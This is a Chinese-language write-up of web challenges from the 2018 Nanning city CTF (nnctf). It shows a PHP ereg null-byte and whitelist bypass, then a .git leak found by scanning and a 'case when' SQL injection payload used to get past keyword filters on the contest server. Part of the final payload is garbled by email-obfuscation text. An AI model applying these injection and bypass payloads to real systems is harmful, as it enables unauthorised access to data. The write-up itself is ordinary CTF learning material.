1. 程式人生 > >2018~第三屆南寧市網路安全技術大賽~nnctf~write-up

2018~第三屆南寧市網路安全技術大賽~nnctf~write-up

Web

1.超簡單

分值:100 型別:WEB 已解決

題目:超簡單的web題  http://gxnnctf.gxsosec.cn:12311/

 

程式碼審計

<?php
$white_list = range(0,9);
require_once('flag.php');
if(isset($_REQUEST['no'])){           //非空
    $a=$_REQUEST['no'];
    if(@ereg("^[0-9]+$", $a) === FALSE){   //必須為數字
        echo 'no must be number';
    }else{
        if(in_array($a,$white_list)){      //數字必須在$white_list白名單裡
            if(strlen($a)>1){               //但是if(strlen($a))長度必須>1
                echo 'you are a great dark phper<br>';
                echo "<img src='dark.gif'><br>";
                echo $flag;
            }else{
                echo 'you no dark';
            }
        }else{
            echo 'you are so dark';
        }
    }    
}else
    highlight_file(__FILE__); 

構造payload的兩種方法:

?no=0000
?no=0%00   //erge()函式 %00截斷

2.帽子商城

分值:200 型別:WEB 未解決

題目:有帽子你就能變強,去這買幾頂帽子吧 http://gxnnctf.gxsosec.cn:12313

3.Sql???

分值:200 型別:WEB 已解決

題目:小明想當一名黑客,於是學習寫網站,但他遇到點問題,幫幫他吧 http://gxnnctf.gxsosec.cn:12312/

按照一般思路測試id,  200OK

看到這些首先想到測試ID,是否存在注入,試了各種姿勢未果,發現大部分關鍵字都被過濾,聯合注入、盲注都走不通,於是想到可能存在其它輔助漏洞,用御劍掃描工具進行掃描發現

http://gxnnctf.gxsosec.cn:12312/網站目錄/.git/存在git洩漏,直接利用git恢復工具恢復檔案,到這裡希望就很大了,彷彿找到了sql大門,當初沒有直接想到先掃描一下網站,導致浪費了很多時間 (T_T)

https://github.com/style-404/Git_Extract      //git恢復工具

/.git/檔案恢復

對index.php進行程式碼審計

審計發現幾乎所有的關鍵字都被過濾了,但是case when關鍵字沒有被過濾,利用MySQL的case when的特性進行繞過,判斷變數是否為空,若為空賦值為2,不為空的話查詢結果為1。第一次查詢返回2,第二次查詢返回1。

case when測試:

條件滿足:

1. 引數id在裡面進行兩次sql查詢,第一次需要id=2、第二次需要id=1

2. 引數backdoor=Melonrind

構造payload

http://gxnnctf.gxsosec.cn:12312/?id=case%20when%[email protected]%20is%20null%20then%[email protected]:=2%20else%[email protected]:[email protected]%20end&backdoor=Melonrind